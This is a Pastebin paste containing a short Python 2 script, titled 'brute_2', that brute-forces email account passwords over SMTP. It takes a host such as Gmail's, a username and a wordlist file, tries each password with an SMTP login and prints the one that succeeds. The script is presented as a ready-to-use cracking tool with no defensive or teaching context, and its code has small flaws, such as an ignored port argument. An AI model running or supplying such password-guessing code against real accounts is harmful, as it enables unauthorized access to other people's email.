ucme316

brute_2

Oct 8th, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.96 KB | None | 0 0
  1. import smtplib,os
  2. def startcrack(host,user,passfile,port=587):
  3.     server=smtplib.SMTP(host,587)
  4.     server.starttls()
  5.     for line in passfile :
  6.         password=line.rstrip('\n')
  7.         try:
  8.             server.login(user,password)
  9.             print('Password is '+password)
  10.             server.close()
  11.             break
  12.         except:
  13.             print(password+' is not the password')
  14.             flag=0        
  15.            
  16. decision=1
  17. while decision==1:
  18.     host=raw_input('''Enter the host server smtp link
  19. Example: For gmail it is "smtp.gmail.com"
  20. =>''')
  21.     port=input('''Enter the smtp open port of the server
  22. Example: For gmail it is 587
  23. =>''')
  24.     user=raw_input('Enter the username:')
  25.     pas=raw_input('Enter the location of password file:')
  26.     passfile=open(pas,'r')
  27.     startcrack(host,user,passfile,port)
  28.     decision=input('1.Run again \n2.Exit \n==>')
  29.     if decision==2:
  30.         exit()
  31. Things to be taken care of:
  32. You can’t use it
Add Comment
Please, Sign In to add comment